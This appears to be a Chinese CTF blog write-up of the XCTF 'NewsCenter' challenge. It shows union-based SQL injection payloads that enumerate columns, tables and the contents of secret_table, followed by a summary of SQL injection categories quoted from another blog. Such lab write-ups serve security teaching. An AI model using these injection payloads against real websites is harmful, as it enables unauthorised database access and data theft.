攻防世界之NewsCenter思路

孤独与技术同在,没了孤独也就没了本来的快乐,挺过了孤独也就迎来了喧嚣。即使孤独时候没人那个她陪你,但是等你挺过去了,那个她也就来了吧!毕竟没人愿意陪现在这个傻傻的你吧!

时间真快啊,转眼sctf都;-开始了,作为小白的我还是老老实实做做ctf的题吧!话不多说开始我们的分析。

首先我们打开这道题后发现只有一个输入框,我们就先来测试一下xss。xss代码走一波。

我们发现并没有弹窗而是跳转了,emm。貌似xss是不存在了。这时我便猜测这里是不是一个搜索型sql注入呢?让我们手动拼接一下语句看看。

我先来构建一手SQL语句测试一下,标准语句来一手。

' and 0 union select 1,2,3 #  //来判断一下他有几列

我们发现属实是一个SQL注入漏洞,一共三列。接下来我们继续扩大战果,拼接语句。

' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #//我们来查询表名

通过搜索我们很简单就扎到了secret_table这个表,接下来我们就查看这里的数据类型和表的内容啦

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#

接下来呢就是最粗暴也是我最喜欢的环节了直接搞falg

ok,既然做到SQL注入的题目了,那我就来总结一下SQL注入的类型吧

我们首先按照注入点来分析一下(引自博客https://www.cnblogs.com/xuthus/p/9450805.html)

1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
按照数据提交的方式来分类
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
按照执行效果来分类
(1)基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
单引号
双引号
基于数字型注入
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入

好了文章就到这里了

留下评论